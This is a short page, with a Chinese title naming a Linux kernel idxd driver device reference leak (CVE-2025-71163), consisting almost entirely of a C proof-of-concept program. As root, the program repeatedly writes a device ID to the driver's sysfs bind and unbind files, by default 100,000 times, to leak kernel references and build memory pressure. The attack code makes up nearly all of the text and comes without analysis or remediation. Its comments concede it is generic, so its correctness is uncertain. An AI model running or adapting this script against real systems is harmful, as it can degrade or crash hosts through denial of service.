Linux kernel idxd驱动设备引用泄漏漏洞 (CVE-2025-71163)

#include <stdio.h> #include <stdlib.h> #include <fcntl.h> #include <unistd.h> #include <string.h> /* * CVE-2025-71163 PoC - Linux kernel idxd device reference leak * * This PoC demonstrates the device reference leak in idxd driver * by repeatedly triggering bind/unbind operations through sysfs. * * Note: This requires root privileges to write to sysfs. * The actual exploit would need to target specific idxd device paths. */ #define SYSFS_IDXD_PATH "/sys/bus/dsa/drivers/idxd" #define BIND_PATH SYSFS_IDXD_PATH "/bind" #define UNBIND_PATH SYSFS_IDXD_PATH "/unbind" void trigger_leak(const char *device_id) { int fd; char buffer[256]; // Trigger bind operation - causes reference acquisition fd = open(BIND_PATH, O_WRONLY); if (fd >= 0) { write(fd, device_id, strlen(device_id)); close(fd); } // Trigger unbind operation - should release reference but doesn't fd = open(UNBIND_PATH, O_WRONLY); if (fd >= 0) { write(fd, device_id, strlen(device_id)); close(fd); } } int main(int argc, char *argv[]) { const char *device_id = "dsa0"; int iterations = 100000; int i; if (argc > 1) { iterations = atoi(argv[1]); } if (argc > 2) { device_id = argv[2]; } printf("CVE-2025-71163 PoC - Starting reference leak test\n"); printf("Target device: %s, Iterations: %d\n", device_id, iterations); for (i = 0; i < iterations; i++) { trigger_leak(device_id); if (i % 1000 == 0) { printf("Progress: %d/%d iterations\n", i, iterations); } } printf("Test complete. Check dmesg for memory pressure warnings.\n"); return 0; }